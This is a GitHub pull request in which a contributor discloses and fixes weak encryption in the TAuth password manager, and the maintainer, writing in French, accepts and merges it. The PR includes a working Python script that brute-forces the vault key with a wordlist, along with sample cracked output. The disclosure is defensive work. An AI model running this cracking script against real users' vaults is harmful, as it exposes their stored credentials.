Skip to content

Fix: Critical security hardening#56

Merged
SystemVll merged 3 commits into
SystemVll:mainfrom
Chocapikk:fix/security-hardening
Apr 10, 2026
Merged

Fix: Critical security hardening#56
SystemVll merged 3 commits into
SystemVll:mainfrom
Chocapikk:fix/security-hardening

Conversation

@Chocapikk
Copy link
Copy Markdown
Contributor

@Chocapikk Chocapikk commented Apr 9, 2026

Fix: Critical security hardening

@SystemVll yo, it's been a while!

Was bored, looked at TAuth. Bro.

The "encryption"

The master password gets padded with ! to 32 bytes and slapped raw as the AES key. That's it. That's the KDF.

15 lines of Python and rockyou is all it takes:

from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from pathlib import Path

vault = Path("~/.local/share/com.tauth.app/container.encrypted").expanduser().read_bytes()
nonce, ct = vault[:12], vault[12:]

with open("/usr/share/wordlists/rockyou.txt") as f:
    for pw in f:
        pw = pw.strip()
        if len(pw) < 8 or len(pw) > 32:
            continue
        key = (pw + "!" * (32 - len(pw)))[:32].encode()
        try:
            print(AESGCM(key).decrypt(nonce, ct, None).decode())
            break
        except Exception:
            pass

Output:

$ python3 bruteforce.py ~/.local/share/com.tauth.app/container.encrypted -w rockyou.txt

[+] PASSWORD FOUND: Qwerty123
[+] Attempts: 67812 in 0.28s
[+] Vault contents:
[
  {
    "credential": {
      "password": "Qwerty123",
      "username": "...",
      "website": "https://pornhub.com"
    },
    "type": "account",
    "uid": "5550fa2e-5b92-42e4-9a1f-565667a23a2a"
  }
]

0.28 seconds. Full dump.

Also the vault file is 0644 (world-readable), CSP is literally null, and every handler .unwrap()s on user input so I crashed the app 3 times before I even got to the crypto part.

Fixes

  • Argon2id instead of whatever "!".repeat(24) is supposed to be
  • 0600 on the vault file
  • Actual CSP
  • Error handling that doesn't panic

Legacy vaults are auto-migrated to Argon2id on next login. No re-creation needed.

- Replace password padding (!) with Argon2id key derivation
- Set vault file permissions to 0600 (owner-only)
- Enable Content Security Policy (was null)
- Replace all .unwrap() chains with proper error handling
- Use cfg(unix) for file permissions (Windows compat)
- Zeroize password in encrypt/decrypt after key derivation
- Remove dead code in vault create
- Try legacy decrypt first (fast, no KDF) on login
- If legacy succeeds, re-encrypt with Argon2id automatically
- Only one Argon2id derivation per login regardless of format
- No manual re-creation needed for existing users
Repository owner deleted a comment from Chocapikk Apr 9, 2026
@SystemVll
Copy link
Copy Markdown
Owner

Salut,

Merci beaucoup pour ton temps et ton analyse détaillée, ce sont d'excellents points.

Pour ma défense, je ne suis pas à l'origine de ces commits. Le contributeur en question m'avait demandé de l'enlever des commits authors pour des raison de confidentialité. Mais il est vrai que j'ai clairement failli lors de ma code review en laissant passer cette fausse "cryptographie" et ces unwrap(). J'en prends l'entière responsabilité.

Concernant tes propositions de correctifs, ton plan est parfait. Passer sur Argon2id avec un mécanisme de migration automatique pour les anciens coffres, restreindre les permissions du fichier à 0600, mettre en place une CSP stricte au lieu de null et utiliser une vraie gestion d'erreur avec des Result pour éviter les panics... C'est exactement ce qu'il faut faire pour durcir correctement l'application.

Mais pour ce qui est du "ratio" disons que j'ai était un peu taquins, même si je change pas ma position sur le fait que tu aurais du faire un fork ;)

Merci encore pour l'audit et de m'avoir remonté tout ça !

@SystemVll
Copy link
Copy Markdown
Owner

Je check ca ce soir et je merge ❤️

@SystemVll
Copy link
Copy Markdown
Owner

@DJAtehortua

@DJAtehortua
Copy link
Copy Markdown

image damn, my bad

@DJAtehortua
Copy link
Copy Markdown

i'm so sorry

@SystemVll SystemVll merged commit 27a6633 into SystemVll:main Apr 10, 2026
@SystemVll
Copy link
Copy Markdown
Owner

Salut, tu as des réseaux sociaux ou une adresse mail que tu voudrais que je mentionne dans la release ?

@Chocapikk
Copy link
Copy Markdown
Contributor Author

Salut, tout est sur mon profil GitHub : https://github.com/Chocapikk - sinon Twitter c'est @Chocapikk_

@SystemVll
Copy link
Copy Markdown
Owner

Ça marche 👌

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants